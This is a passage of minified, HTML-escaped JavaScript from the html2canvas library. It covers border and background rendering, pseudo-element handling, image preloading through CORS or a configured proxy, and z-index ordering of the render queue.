newContext,isPositioned=stack.cssPosition!==&quot;static&quot;,zIndex=isPositioned?getCSS(element,&quot;zIndex&quot;):&quot;auto&quot;,opacity=getCSS(element,&quot;opacity&quot;),isFloated=getCSS(element,&quot;cssFloat&quot;)!==&quot;none&quot;;stack.zIndex=newContext=h2czContext(zIndex);newContext.isPositioned=isPositioned;newContext.isFloated=isFloated;newContext.opacity=opacity;newContext.ownStacking=(zIndex!==&quot;auto&quot;||opacity&lt;1);if(parentStack){parentStack.zIndex.children.push(stack)}}function renderImage(ctx,element,image,bounds,borders){var paddingLeft=getCSSInt(element,&quot;paddingLeft&quot;),paddingTop=getCSSInt(element,&quot;paddingTop&quot;),paddingRight=getCSSInt(element,&quot;paddingRight&quot;),paddingBottom=getCSSInt(element,&quot;paddingBottom&quot;);drawImage(ctx,image,0,0,image.width,image.height,bounds.left+paddingLeft+borders[3].width,bounds.top+paddingTop+borders[0].width,bounds.width-(borders[1].width+borders[3].width+paddingLeft+paddingRight),bounds.height-(borders[0].width+borders[2].width+paddingTop+paddingBottom))}function getBorderData(element){return[&quot;Top&quot;,&quot;Right&quot;,&quot;Bottom&quot;,&quot;Left&quot;].map(function(side){return{width:getCSSInt(element,&quot;border&quot;+side+&quot;Width&quot;),color:getCSS(element,&quot;border&quot;+side+&quot;Color&quot;)}})}function getBorderRadiusData(element){return[&quot;TopLeft&quot;,&quot;TopRight&quot;,&quot;BottomRight&quot;,&quot;BottomLeft&quot;].map(function(side){return getCSS(element,&quot;border&quot;+side+&quot;Radius&quot;)})}var getCurvePoints=(function(kappa){return function(x,y,r1,r2){var ox=(r1)*kappa,oy=(r2)*kappa,xm=x+r1,ym=y+r2;return{topLeft:bezierCurve({x:x,y:ym},{x:x,y:ym-oy},{x:xm-ox,y:y},{x:xm,y:y}),topRight:bezierCurve({x:x,y:y},{x:x+ox,y:y},{x:xm,y:ym-oy},{x:xm,y:ym}),bottomRight:bezierCurve({x:xm,y:y},{x:xm,y:y+oy},{x:x+ox,y:ym},{x:x,y:ym}),bottomLeft:bezierCurve({x:xm,y:ym},{x:xm-ox,y:ym},{x:x,y:y+oy},{x:x,y:y})}}})(4*((Math.sqrt(2)-1)/3));function bezierCurve(start,startControl,endControl,end){var lerp=function(a,b,t){return{x:a.x+(b.x-a.x)*t,y:a.y+(b.y-a.y)*t}};return{start:start,startControl:startControl,endControl:endControl,end:end,subdivide:function(t){var ab=lerp(start,startControl,t),bc=lerp(startControl,endControl,t),cd=lerp(endControl,end,t),abbc=lerp(ab,bc,t),bccd=lerp(bc,cd,t),dest=lerp(abbc,bccd,t);return[bezierCurve(start,ab,abbc,dest),bezierCurve(dest,bccd,cd,end)]},curveTo:function(borderArgs){borderArgs.push([&quot;bezierCurve&quot;,startControl.x,startControl.y,endControl.x,endControl.y,end.x,end.y])},curveToReversed:function(borderArgs){borderArgs.push([&quot;bezierCurve&quot;,endControl.x,endControl.y,startControl.x,startControl.y,start.x,start.y])}}}function parseCorner(borderArgs,radius1,radius2,corner1,corner2,x,y){if(radius1[0]&gt;0||radius1[1]&gt;0){borderArgs.push([&quot;line&quot;,corner1[0].start.x,corner1[0].start.y]);corner1[0].curveTo(borderArgs);corner1[1].curveTo(borderArgs)}else{borderArgs.push([&quot;line&quot;,x,y])}if(radius2[0]&gt;0||radius2[1]&gt;0){borderArgs.push([&quot;line&quot;,corner2[0].start.x,corner2[0].start.y])}}function drawSide(borderData,radius1,radius2,outer1,inner1,outer2,inner2){var borderArgs=[];if(radius1[0]&gt;0||radius1[1]&gt;0){borderArgs.push([&quot;line&quot;,outer1[1].start.x,outer1[1].start.y]);outer1[1].curveTo(borderArgs)}else{borderArgs.push([&quot;line&quot;,borderData.c1[0],borderData.c1[1]])}if(radius2[0]&gt;0||radius2[1]&gt;0){borderArgs.push([&quot;line&quot;,outer2[0].start.x,outer2[0].start.y]);outer2[0].curveTo(borderArgs);borderArgs.push([&quot;line&quot;,inner2[0].end.x,inner2[0].end.y]);inner2[0].curveToReversed(borderArgs)}else{borderArgs.push([&quot;line&quot;,borderData.c2[0],borderData.c2[1]]);borderArgs.push([&quot;line&quot;,borderData.c3[0],borderData.c3[1]])}if(radius1[0]&gt;0||radius1[1]&gt;0){borderArgs.push([&quot;line&quot;,inner1[1].end.x,inner1[1].end.y]);inner1[1].curveToReversed(borderArgs)}else{borderArgs.push([&quot;line&quot;,borderData.c4[0],borderData.c4[1]])}return borderArgs}function calculateCurvePoints(bounds,borderRadius,borders){var x=bounds.left,y=bounds.top,width=bounds.width,height=bounds.height,tlh=borderRadius[0][0],tlv=borderRadius[0][1],trh=borderRadius[1][0],trv=borderRadius[1][1],brh=borderRadius[2][0],brv=borderRadius[2][1],blh=borderRadius[3][0],blv=borderRadius[3][1],topWidth=width-trh,rightHeight=height-brv,bottomWidth=width-brh,leftHeight=height-blv;return{topLeftOuter:getCurvePoints(x,y,tlh,tlv).topLeft.subdivide(0.5),topLeftInner:getCurvePoints(x+borders[3].width,y+borders[0].width,Math.max(0,tlh-borders[3].width),Math.max(0,tlv-borders[0].width)).topLeft.subdivide(0.5),topRightOuter:getCurvePoints(x+topWidth,y,trh,trv).topRight.subdivide(0.5),topRightInner:getCurvePoints(x+Math.min(topWidth,width+borders[3].width),y+borders[0].width,(topWidth&gt;width+borders[3].width)?0:trh-borders[3].width,trv-borders[0].width).topRight.subdivide(0.5),bottomRightOuter:getCurvePoints(x+bottomWidth,y+rightHeight,brh,brv).bottomRight.subdivide(0.5),bottomRightInner:getCurvePoints(x+Math.min(bottomWidth,width+borders[3].width),y+Math.min(rightHeight,height+borders[0].width),Math.max(0,brh-borders[1].width),Math.max(0,brv-borders[2].width)).bottomRight.subdivide(0.5),bottomLeftOuter:getCurvePoints(x,y+leftHeight,blh,blv).bottomLeft.subdivide(0.5),bottomLeftInner:getCurvePoints(x+borders[3].width,y+leftHeight,Math.max(0,blh-borders[3].width),Math.max(0,blv-borders[2].width)).bottomLeft.subdivide(0.5)}\r\n}function getBorderClip(element,borderPoints,borders,radius,bounds){var backgroundClip=getCSS(element,&quot;backgroundClip&quot;),borderArgs=[];switch(backgroundClip){case&quot;content-box&quot;:case&quot;padding-box&quot;:parseCorner(borderArgs,radius[0],radius[1],borderPoints.topLeftInner,borderPoints.topRightInner,bounds.left+borders[3].width,bounds.top+borders[0].width);parseCorner(borderArgs,radius[1],radius[2],borderPoints.topRightInner,borderPoints.bottomRightInner,bounds.left+bounds.width-borders[1].width,bounds.top+borders[0].width);parseCorner(borderArgs,radius[2],radius[3],borderPoints.bottomRightInner,borderPoints.bottomLeftInner,bounds.left+bounds.width-borders[1].width,bounds.top+bounds.height-borders[2].width);parseCorner(borderArgs,radius[3],radius[0],borderPoints.bottomLeftInner,borderPoints.topLeftInner,bounds.left+borders[3].width,bounds.top+bounds.height-borders[2].width);break;default:parseCorner(borderArgs,radius[0],radius[1],borderPoints.topLeftOuter,borderPoints.topRightOuter,bounds.left,bounds.top);parseCorner(borderArgs,radius[1],radius[2],borderPoints.topRightOuter,borderPoints.bottomRightOuter,bounds.left+bounds.width,bounds.top);parseCorner(borderArgs,radius[2],radius[3],borderPoints.bottomRightOuter,borderPoints.bottomLeftOuter,bounds.left+bounds.width,bounds.top+bounds.height);parseCorner(borderArgs,radius[3],radius[0],borderPoints.bottomLeftOuter,borderPoints.topLeftOuter,bounds.left,bounds.top+bounds.height);break}return borderArgs}function parseBorders(element,bounds,borders){var x=bounds.left,y=bounds.top,width=bounds.width,height=bounds.height,borderSide,bx,by,bw,bh,borderArgs,borderRadius=getBorderRadiusData(element),borderPoints=calculateCurvePoints(bounds,borderRadius,borders),borderData={clip:getBorderClip(element,borderPoints,borders,borderRadius,bounds),borders:[]};for(borderSide=0;borderSide&lt;4;borderSide++){if(borders[borderSide].width&gt;0){bx=x;by=y;bw=width;bh=height-(borders[2].width);switch(borderSide){case 0:bh=borders[0].width;borderArgs=drawSide({c1:[bx,by],c2:[bx+bw,by],c3:[bx+bw-borders[1].width,by+bh],c4:[bx+borders[3].width,by+bh]},borderRadius[0],borderRadius[1],borderPoints.topLeftOuter,borderPoints.topLeftInner,borderPoints.topRightOuter,borderPoints.topRightInner);break;case 1:bx=x+width-(borders[1].width);bw=borders[1].width;borderArgs=drawSide({c1:[bx+bw,by],c2:[bx+bw,by+bh+borders[2].width],c3:[bx,by+bh],c4:[bx,by+borders[0].width]},borderRadius[1],borderRadius[2],borderPoints.topRightOuter,borderPoints.topRightInner,borderPoints.bottomRightOuter,borderPoints.bottomRightInner);break;case 2:by=(by+height)-(borders[2].width);bh=borders[2].width;borderArgs=drawSide({c1:[bx+bw,by+bh],c2:[bx,by+bh],c3:[bx+borders[3].width,by],c4:[bx+bw-borders[3].width,by]},borderRadius[2],borderRadius[3],borderPoints.bottomRightOuter,borderPoints.bottomRightInner,borderPoints.bottomLeftOuter,borderPoints.bottomLeftInner);break;case 3:bw=borders[3].width;borderArgs=drawSide({c1:[bx,by+bh+borders[2].width],c2:[bx,by],c3:[bx+bw,by+borders[0].width],c4:[bx+bw,by+bh]},borderRadius[3],borderRadius[0],borderPoints.bottomLeftOuter,borderPoints.bottomLeftInner,borderPoints.topLeftOuter,borderPoints.topLeftInner);break}borderData.borders.push({args:borderArgs,color:borders[borderSide].color})}}return borderData}function createShape(ctx,args){var shape=ctx.drawShape();args.forEach(function(border,index){shape[(index===0)?&quot;moveTo&quot;:border[0]+&quot;To&quot;].apply(null,border.slice(1))});return shape}function renderBorders(ctx,borderArgs,color){if(color!==&quot;transparent&quot;){ctx.setVariable(&quot;fillStyle&quot;,color);createShape(ctx,borderArgs);ctx.fill();numDraws+=1}}function renderFormValue(el,bounds,stack){var valueWrap=doc.createElement(&quot;valuewrap&quot;),cssPropertyArray=[&quot;lineHeight&quot;,&quot;textAlign&quot;,&quot;fontFamily&quot;,&quot;color&quot;,&quot;fontSize&quot;,&quot;paddingLeft&quot;,&quot;paddingTop&quot;,&quot;width&quot;,&quot;height&quot;,&quot;border&quot;,&quot;borderLeftWidth&quot;,&quot;borderTopWidth&quot;],textValue,textNode;cssPropertyArray.forEach(function(property){try{valueWrap.style[property]=getCSS(el,property)}catch(e){Util.log(&quot;html2canvas: Parse: Exception caught in renderFormValue: &quot;+e.message)}});valueWrap.style.borderColor=&quot;black&quot;;valueWrap.style.borderStyle=&quot;solid&quot;;valueWrap.style.display=&quot;block&quot;;valueWrap.style.position=&quot;absolute&quot;;if(/^(submit|reset|button|text|password)$/.test(el.type)||el.nodeName===&quot;SELECT&quot;){valueWrap.style.lineHeight=getCSS(el,&quot;height&quot;)}valueWrap.style.top=bounds.top+&quot;px&quot;;valueWrap.style.left=bounds.left+&quot;px&quot;;textValue=(el.nodeName===&quot;SELECT&quot;)?(el.options[el.selectedIndex]||0).text:el.value;if(!textValue){textValue=el.placeholder}textNode=doc.createTextNode(textValue);valueWrap.appendChild(textNode);body.appendChild(valueWrap);renderText(el,textNode,stack);body.removeChild(valueWrap)}function drawImage(ctx){ctx.drawImage.apply(ctx,Array.prototype.slice.call(arguments,1));numDraws+=1}function getPseudoElement(el,which){var elStyle=window.getComputedStyle(el,which);if(!elStyle||!elStyle.content||elStyle.content===&quot;none&quot;||elStyle.content===&quot;-moz-alt-content&quot;||elStyle.display===&quot;none&quot;){return}var content=elStyle.content+&quot;&quot;,first=content.substr(0,1);\r\nif(first===content.substr(content.length-1)&amp;&amp;first.match(/&#039;|&quot;/)){content=content.substr(1,content.length-2)}var isImage=content.substr(0,3)===&quot;url&quot;,elps=document.createElement(isImage?&quot;img&quot;:&quot;span&quot;);elps.className=pseudoHide+&quot;-before &quot;+pseudoHide+&quot;-after&quot;;Object.keys(elStyle).filter(indexedProperty).forEach(function(prop){try{elps.style[prop]=elStyle[prop]}catch(e){Util.log([&quot;Tried to assign readonly property &quot;,prop,&quot;Error:&quot;,e])}});if(isImage){elps.src=Util.parseBackgroundImage(content)[0].args[0]}else{elps.innerHTML=content}return elps}function indexedProperty(property){return(isNaN(window.parseInt(property,10)))}function injectPseudoElements(el,stack){var before=getPseudoElement(el,&quot;:before&quot;),after=getPseudoElement(el,&quot;:after&quot;);if(!before&amp;&amp;!after){return}if(before){el.className+=&quot; &quot;+pseudoHide+&quot;-before&quot;;el.parentNode.insertBefore(before,el);parseElement(before,stack,true);el.parentNode.removeChild(before);el.className=el.className.replace(pseudoHide+&quot;-before&quot;,&quot;&quot;).trim()}if(after){el.className+=&quot; &quot;+pseudoHide+&quot;-after&quot;;el.appendChild(after);parseElement(after,stack,true);el.removeChild(after);el.className=el.className.replace(pseudoHide+&quot;-after&quot;,&quot;&quot;).trim()}}function renderBackgroundRepeat(ctx,image,backgroundPosition,bounds){var offsetX=Math.round(bounds.left+backgroundPosition.left),offsetY=Math.round(bounds.top+backgroundPosition.top);ctx.createPattern(image);ctx.translate(offsetX,offsetY);ctx.fill();ctx.translate(-offsetX,-offsetY)}function backgroundRepeatShape(ctx,image,backgroundPosition,bounds,left,top,width,height){var args=[];args.push([&quot;line&quot;,Math.round(left),Math.round(top)]);args.push([&quot;line&quot;,Math.round(left+width),Math.round(top)]);args.push([&quot;line&quot;,Math.round(left+width),Math.round(height+top)]);args.push([&quot;line&quot;,Math.round(left),Math.round(height+top)]);createShape(ctx,args);ctx.save();ctx.clip();renderBackgroundRepeat(ctx,image,backgroundPosition,bounds);ctx.restore()}function renderBackgroundColor(ctx,backgroundBounds,bgcolor){renderRect(ctx,backgroundBounds.left,backgroundBounds.top,backgroundBounds.width,backgroundBounds.height,bgcolor)}function renderBackgroundRepeating(el,bounds,ctx,image,imageIndex){var backgroundSize=Util.BackgroundSize(el,bounds,image,imageIndex),backgroundPosition=Util.BackgroundPosition(el,bounds,image,imageIndex,backgroundSize),backgroundRepeat=getCSS(el,&quot;backgroundRepeat&quot;).split(&quot;,&quot;).map(Util.trimText);image=resizeImage(image,backgroundSize);backgroundRepeat=backgroundRepeat[imageIndex]||backgroundRepeat[0];switch(backgroundRepeat){case&quot;repeat-x&quot;:backgroundRepeatShape(ctx,image,backgroundPosition,bounds,bounds.left,bounds.top+backgroundPosition.top,99999,image.height);break;case&quot;repeat-y&quot;:backgroundRepeatShape(ctx,image,backgroundPosition,bounds,bounds.left+backgroundPosition.left,bounds.top,image.width,99999);break;case&quot;no-repeat&quot;:backgroundRepeatShape(ctx,image,backgroundPosition,bounds,bounds.left+backgroundPosition.left,bounds.top+backgroundPosition.top,image.width,image.height);break;default:renderBackgroundRepeat(ctx,image,backgroundPosition,{top:bounds.top,left:bounds.left,width:image.width,height:image.height});break}}function renderBackgroundImage(element,bounds,ctx){var backgroundImage=getCSS(element,&quot;backgroundImage&quot;),backgroundImages=Util.parseBackgroundImage(backgroundImage),image,imageIndex=backgroundImages.length;while(imageIndex--){backgroundImage=backgroundImages[imageIndex];if(!backgroundImage.args||backgroundImage.args.length===0){continue}var key=backgroundImage.method===&quot;url&quot;?backgroundImage.args[0]:backgroundImage.value;image=loadImage(key);if(image){renderBackgroundRepeating(element,bounds,ctx,image,imageIndex)}else{Util.log(&quot;html2canvas: Error loading background:&quot;,backgroundImage)}}}function resizeImage(image,bounds){if(image.width===bounds.width&amp;&amp;image.height===bounds.height){return image}var ctx,canvas=doc.createElement(&quot;canvas&quot;);canvas.width=bounds.width;canvas.height=bounds.height;ctx=canvas.getContext(&quot;2d&quot;);drawImage(ctx,image,0,0,image.width,image.height,0,0,bounds.width,bounds.height);return canvas}function setOpacity(ctx,element,parentStack){return ctx.setVariable(&quot;globalAlpha&quot;,getCSS(element,&quot;opacity&quot;)*((parentStack)?parentStack.opacity:1))}function removePx(str){return str.replace(&quot;px&quot;,&quot;&quot;)}var transformRegExp=/(matrix)\\((.+)\\)/;function getTransform(element,parentStack){var transform=getCSS(element,&quot;transform&quot;)||getCSS(element,&quot;-webkit-transform&quot;)||getCSS(element,&quot;-moz-transform&quot;)||getCSS(element,&quot;-ms-transform&quot;)||getCSS(element,&quot;-o-transform&quot;);var transformOrigin=getCSS(element,&quot;transform-origin&quot;)||getCSS(element,&quot;-webkit-transform-origin&quot;)||getCSS(element,&quot;-moz-transform-origin&quot;)||getCSS(element,&quot;-ms-transform-origin&quot;)||getCSS(element,&quot;-o-transform-origin&quot;)||&quot;0px 0px&quot;;transformOrigin=transformOrigin.split(&quot; &quot;).map(removePx).map(Util.asFloat);var matrix;if(transform&amp;&amp;transform!==&quot;none&quot;){var match=transform.match(transformRegExp);if(match){switch(match[1]){case&quot;matrix&quot;:matrix=match[2].split(&quot;,&quot;).map(Util.trimText).map(Util.asFloat);\r\nbreak}}}return{origin:transformOrigin,matrix:matrix}}function createStack(element,parentStack,bounds,transform){var ctx=h2cRenderContext((!parentStack)?documentWidth():bounds.width,(!parentStack)?documentHeight():bounds.height),stack={ctx:ctx,opacity:setOpacity(ctx,element,parentStack),cssPosition:getCSS(element,&quot;position&quot;),borders:getBorderData(element),transform:transform,clip:(parentStack&amp;&amp;parentStack.clip)?Util.Extend({},parentStack.clip):null};setZ(element,stack,parentStack);if(options.useOverflow===true&amp;&amp;/(hidden|scroll|auto)/.test(getCSS(element,&quot;overflow&quot;))===true&amp;&amp;/(BODY)/i.test(element.nodeName)===false){stack.clip=(stack.clip)?clipBounds(stack.clip,bounds):bounds}return stack}function getBackgroundBounds(borders,bounds,clip){var backgroundBounds={left:bounds.left+borders[3].width,top:bounds.top+borders[0].width,width:bounds.width-(borders[1].width+borders[3].width),height:bounds.height-(borders[0].width+borders[2].width)};if(clip){backgroundBounds=clipBounds(backgroundBounds,clip)}return backgroundBounds}function getBounds(element,transform){var bounds=(transform.matrix)?Util.OffsetBounds(element):Util.Bounds(element);transform.origin[0]+=bounds.left;transform.origin[1]+=bounds.top;return bounds}function renderElement(element,parentStack,pseudoElement,ignoreBackground){var transform=getTransform(element,parentStack),bounds=getBounds(element,transform),image,stack=createStack(element,parentStack,bounds,transform),borders=stack.borders,ctx=stack.ctx,backgroundBounds=getBackgroundBounds(borders,bounds,stack.clip),borderData=parseBorders(element,bounds,borders),backgroundColor=(ignoreElementsRegExp.test(element.nodeName))?&quot;#efefef&quot;:getCSS(element,&quot;backgroundColor&quot;);createShape(ctx,borderData.clip);ctx.save();ctx.clip();if(backgroundBounds.height&gt;0&amp;&amp;backgroundBounds.width&gt;0&amp;&amp;!ignoreBackground){renderBackgroundColor(ctx,bounds,backgroundColor);renderBackgroundImage(element,backgroundBounds,ctx)}else{if(ignoreBackground){stack.backgroundColor=backgroundColor}}ctx.restore();borderData.borders.forEach(function(border){renderBorders(ctx,border.args,border.color)});if(!pseudoElement){injectPseudoElements(element,stack)}switch(element.nodeName){case&quot;IMG&quot;:if((image=loadImage(element.getAttribute(&quot;src&quot;)))){renderImage(ctx,element,image,bounds,borders)}else{Util.log(&quot;html2canvas: Error loading &lt;img&gt;:&quot;+element.getAttribute(&quot;src&quot;))}break;case&quot;INPUT&quot;:if(/^(text|url|email|submit|button|reset)$/.test(element.type)&amp;&amp;(element.value||element.placeholder||&quot;&quot;).length&gt;0){renderFormValue(element,bounds,stack)}break;case&quot;TEXTAREA&quot;:if((element.value||element.placeholder||&quot;&quot;).length&gt;0){renderFormValue(element,bounds,stack)}break;case&quot;SELECT&quot;:if((element.options||element.placeholder||&quot;&quot;).length&gt;0){renderFormValue(element,bounds,stack)}break;case&quot;LI&quot;:renderListItem(element,stack,backgroundBounds);break;case&quot;CANVAS&quot;:renderImage(ctx,element,element,bounds,borders);break}return stack}function isElementVisible(element){return(getCSS(element,&quot;display&quot;)!==&quot;none&quot;&amp;&amp;getCSS(element,&quot;visibility&quot;)!==&quot;hidden&quot;&amp;&amp;!element.hasAttribute(&quot;data-html2canvas-ignore&quot;))}function parseElement(element,stack,pseudoElement){if(isElementVisible(element)){stack=renderElement(element,stack,pseudoElement,false)||stack;if(!ignoreElementsRegExp.test(element.nodeName)){parseChildren(element,stack,pseudoElement)}}}function parseChildren(element,stack,pseudoElement){Util.Children(element).forEach(function(node){if(node.nodeType===node.ELEMENT_NODE){parseElement(node,stack,pseudoElement)}else{if(node.nodeType===node.TEXT_NODE){renderText(element,node,stack)}}})}function init(){var background=getCSS(document.documentElement,&quot;backgroundColor&quot;),transparentBackground=(Util.isTransparent(background)&amp;&amp;element===document.body),stack=renderElement(element,null,false,transparentBackground);parseChildren(element,stack);if(transparentBackground){background=stack.backgroundColor}body.removeChild(hidePseudoElements);return{backgroundColor:background,stack:stack}}return init()};function h2czContext(zindex){return{zindex:zindex,children:[]}}_html2canvas.Preload=function(options){var images={numLoaded:0,numFailed:0,numTotal:0,cleanupDone:false},pageOrigin,Util=_html2canvas.Util,methods,i,count=0,element=options.elements[0]||document.body,doc=element.ownerDocument,domImages=element.getElementsByTagName(&quot;img&quot;),imgLen=domImages.length,link=doc.createElement(&quot;a&quot;),supportCORS=(function(img){return(img.crossOrigin!==undefined)})(new Image()),timeoutTimer;link.href=window.location.href;pageOrigin=link.protocol+link.host;function isSameOrigin(url){link.href=url;link.href=link.href;var origin=link.protocol+link.host;return(origin===pageOrigin)}function start(){Util.log(&quot;html2canvas: start: images: &quot;+images.numLoaded+&quot; / &quot;+images.numTotal+&quot; (failed: &quot;+images.numFailed+&quot;)&quot;);if(!images.firstRun&amp;&amp;images.numLoaded&gt;=images.numTotal){Util.log(&quot;Finished loading images: # &quot;+images.numTotal+&quot; (failed: &quot;+images.numFailed+&quot;)&quot;);if(typeof options.complete===&quot;function&quot;){options.complete(images)}}}function proxyGetImage(url,img,imageObj){var callback_name,scriptUrl=options.proxy,script;\r\nlink.href=url;url=link.href;callback_name=&quot;html2canvas_&quot;+(count++);imageObj.callbackname=callback_name;if(scriptUrl.indexOf(&quot;?&quot;)&gt;-1){scriptUrl+=&quot;&amp;&quot;}else{scriptUrl+=&quot;?&quot;}scriptUrl+=&quot;url=&quot;+encodeURIComponent(url)+&quot;&amp;callback=&quot;+callback_name;script=doc.createElement(&quot;script&quot;);window[callback_name]=function(a){if(a.substring(0,6)===&quot;error:&quot;){imageObj.succeeded=false;images.numLoaded++;images.numFailed++;start()}else{setImageLoadHandlers(img,imageObj);img.src=a}window[callback_name]=undefined;try{delete window[callback_name]}catch(ex){}script.parentNode.removeChild(script);script=null;delete imageObj.script;delete imageObj.callbackname};script.setAttribute(&quot;type&quot;,&quot;text/javascript&quot;);script.setAttribute(&quot;src&quot;,scriptUrl);imageObj.script=script;window.document.body.appendChild(script)}function loadPseudoElement(element,type){var style=window.getComputedStyle(element,type),content=style.content;if(content.substr(0,3)===&quot;url&quot;){methods.loadImage(_html2canvas.Util.parseBackgroundImage(content)[0].args[0])}loadBackgroundImages(style.backgroundImage,element)}function loadPseudoElementImages(element){loadPseudoElement(element,&quot;:before&quot;);loadPseudoElement(element,&quot;:after&quot;)}function loadGradientImage(backgroundImage,bounds){var img=_html2canvas.Generate.Gradient(backgroundImage,bounds);if(img!==undefined){images[backgroundImage]={img:img,succeeded:true};images.numTotal++;images.numLoaded++;start()}}function invalidBackgrounds(background_image){return(background_image&amp;&amp;background_image.method&amp;&amp;background_image.args&amp;&amp;background_image.args.length&gt;0)}function loadBackgroundImages(background_image,el){var bounds;_html2canvas.Util.parseBackgroundImage(background_image).filter(invalidBackgrounds).forEach(function(background_image){if(background_image.method===&quot;url&quot;){methods.loadImage(background_image.args[0])}else{if(background_image.method.match(/\\-?gradient$/)){if(bounds===undefined){bounds=_html2canvas.Util.Bounds(el)}loadGradientImage(background_image.value,bounds)}}})}function getImages(el){var elNodeType=false;try{Util.Children(el).forEach(getImages)}catch(e){}try{elNodeType=el.nodeType}catch(ex){elNodeType=false;Util.log(&quot;html2canvas: failed to access some element&#039;s nodeType - Exception: &quot;+ex.message)}if(elNodeType===1||elNodeType===undefined){loadPseudoElementImages(el);try{loadBackgroundImages(Util.getCSS(el,&quot;backgroundImage&quot;),el)}catch(e){Util.log(&quot;html2canvas: failed to get background-image - Exception: &quot;+e.message)}loadBackgroundImages(el)}}function setImageLoadHandlers(img,imageObj){img.onload=function(){if(imageObj.timer!==undefined){window.clearTimeout(imageObj.timer)}images.numLoaded++;imageObj.succeeded=true;img.onerror=img.onload=null;start()};img.onerror=function(){if(img.crossOrigin===&quot;anonymous&quot;){window.clearTimeout(imageObj.timer);if(options.proxy){var src=img.src;img=new Image();imageObj.img=img;img.src=src;proxyGetImage(img.src,img,imageObj);return}}images.numLoaded++;images.numFailed++;imageObj.succeeded=false;img.onerror=img.onload=null;start()}}methods={loadImage:function(src){var img,imageObj;if(src&amp;&amp;images[src]===undefined){img=new Image();if(src.match(/data:image\\/.*;base64,/i)){img.src=src.replace(/url\\([&#039;&quot;]{0,}|[&#039;&quot;]{0,}\\)$/ig,&quot;&quot;);imageObj=images[src]={img:img};images.numTotal++;setImageLoadHandlers(img,imageObj)}else{if(isSameOrigin(src)||options.allowTaint===true){imageObj=images[src]={img:img};images.numTotal++;setImageLoadHandlers(img,imageObj);img.src=src}else{if(supportCORS&amp;&amp;!options.allowTaint&amp;&amp;options.useCORS){img.crossOrigin=&quot;anonymous&quot;;imageObj=images[src]={img:img};images.numTotal++;setImageLoadHandlers(img,imageObj);img.src=src}else{if(options.proxy){imageObj=images[src]={img:img};images.numTotal++;proxyGetImage(src,img,imageObj)}}}}}},cleanupDOM:function(cause){var img,src;if(!images.cleanupDone){if(cause&amp;&amp;typeof cause===&quot;string&quot;){Util.log(&quot;html2canvas: Cleanup because: &quot;+cause)}else{Util.log(&quot;html2canvas: Cleanup after timeout: &quot;+options.timeout+&quot; ms.&quot;)}for(src in images){if(images.hasOwnProperty(src)){img=images[src];if(typeof img===&quot;object&quot;&amp;&amp;img.callbackname&amp;&amp;img.succeeded===undefined){window[img.callbackname]=undefined;try{delete window[img.callbackname]}catch(ex){}if(img.script&amp;&amp;img.script.parentNode){img.script.setAttribute(&quot;src&quot;,&quot;about:blank&quot;);img.script.parentNode.removeChild(img.script)}images.numLoaded++;images.numFailed++;Util.log(&quot;html2canvas: Cleaned up failed img: &#039;&quot;+src+&quot;&#039; Steps: &quot;+images.numLoaded+&quot; / &quot;+images.numTotal)}}}if(window.stop!==undefined){window.stop()}else{if(document.execCommand!==undefined){document.execCommand(&quot;Stop&quot;,false)}}if(document.close!==undefined){document.close()}images.cleanupDone=true;if(!(cause&amp;&amp;typeof cause===&quot;string&quot;)){start()}}},renderingDone:function(){if(timeoutTimer){window.clearTimeout(timeoutTimer)}}};if(options.timeout&gt;0){timeoutTimer=window.setTimeout(methods.cleanupDOM,options.timeout)}Util.log(&quot;html2canvas: Preload starts: finding background-images&quot;);images.firstRun=true;getImages(element);Util.log(&quot;html2canvas: Preload: Finding images&quot;);\r\nfor(i=0;i&lt;imgLen;i+=1){methods.loadImage(domImages[i].getAttribute(&quot;src&quot;))}images.firstRun=false;Util.log(&quot;html2canvas: Preload: Done.&quot;);if(images.numTotal===images.numLoaded){start()}return methods};_html2canvas.Renderer=function(parseQueue,options){function createRenderQueue(parseQueue){var queue=[],rootContext;rootContext=(function buildStackingContext(rootNode){var rootContext={};function insert(context,node,specialParent){var zi=(node.zIndex.zindex===&quot;auto&quot;)?0:Number(node.zIndex.zindex),contextForChildren=context,isPositioned=node.zIndex.isPositioned,isFloated=node.zIndex.isFloated,stub={node:node},childrenDest=specialParent;if(node.zIndex.ownStacking){contextForChildren=stub.context={&quot;!&quot;:[{node:node,children:[]}]};childrenDest=undefined}else{if(isPositioned||isFloated){childrenDest=stub.children=[]}}if(zi===0&amp;&amp;specialParent){specialParent.push(stub)}else{if(!context[zi]){context[zi]=[]}context[zi].push(stub)}node.zIndex.children.forEach(function(childNode){insert(contextForChildren,childNode,childrenDest)})}insert(rootContext,rootNode);return rootContext})(parseQueue);function sortZ(context){Object.keys(context).sort().forEach(function(zi){var nonPositioned=[],floated=[],positioned=[],list=[];context[zi].forEach(function(v){if(v.node.zIndex.isPositioned||v.node.zIndex.opacity&lt;1){positioned.push(v)}else{if(v.node.zIndex.isFloated){floated.push(v)}else{nonPositioned.push(v)}}});(function walk(arr){arr.forEach(function(v){list.push(v);if(v.children){walk(v.children)}})})(nonPositioned.concat(floated,positioned));list.forEach(function(v){if(v.context){sortZ(v.context)}else{queue.push(v.node)}})})}sortZ(rootContext);return queue}function getRenderer(rendererName){var renderer;if(typeof options.renderer===&quot;string&quot;&amp;&amp;_html2canvas.Renderer[rendererName]!==undefined){renderer=_html2canvas.Renderer[rendererName](options)}else{if(typeof rendererName===&quot;function&quot;){renderer=rendererName(options)}else{throw new Error(&quot;Unknown renderer&quot;)}}if(typeof renderer!==&quot;function&quot;){throw new Error(&quot;Invalid renderer defined&quot;)}return renderer}return getRenderer(options.renderer)(parseQueue,options,document,createRenderQueue(parseQueue.stack),_html2canvas)};_html2canvas.Util.Support=function(options,doc){function supportSVGRendering(){var img=new Image(),canvas=doc.createElement(&quot;canvas&quot;),ctx=(canvas.getContext===undefined)?false:canvas.getContext(&quot;2d&quot;);if(ctx===false){return false}canvas.width=canvas.height=10;img.src=[&quot;data:image/svg+xml,&quot;,&quot;&lt;svg xmlns=&#039;http://www.w3.org/2000/svg&#039; width=&#039;10&#039; height=&#039;10&#039;&gt;&quot;,&quot;&lt;foreignObject width=&#039;10&#039; height=&#039;10&#039;&gt;&quot;,&quot;&lt;div xmlns=&#039;http://www.w3.org/1999/xhtml&#039; style=&#039;width:10;height:10;&#039;&gt;&quot;,&quot;sup&quot;,&quot;&lt;/div&gt;&quot;,&quot;&lt;/foreignObject&gt;&quot;,&quot;&lt;/svg&gt;&quot;].join(&quot;&quot;);try{ctx.drawImage(img,0,0);canvas.toDataURL()}catch(e){return false}_html2canvas.Util.log(&quot;html2canvas: Parse: SVG powered rendering available&quot;);return true}function supportRangeBounds(){var 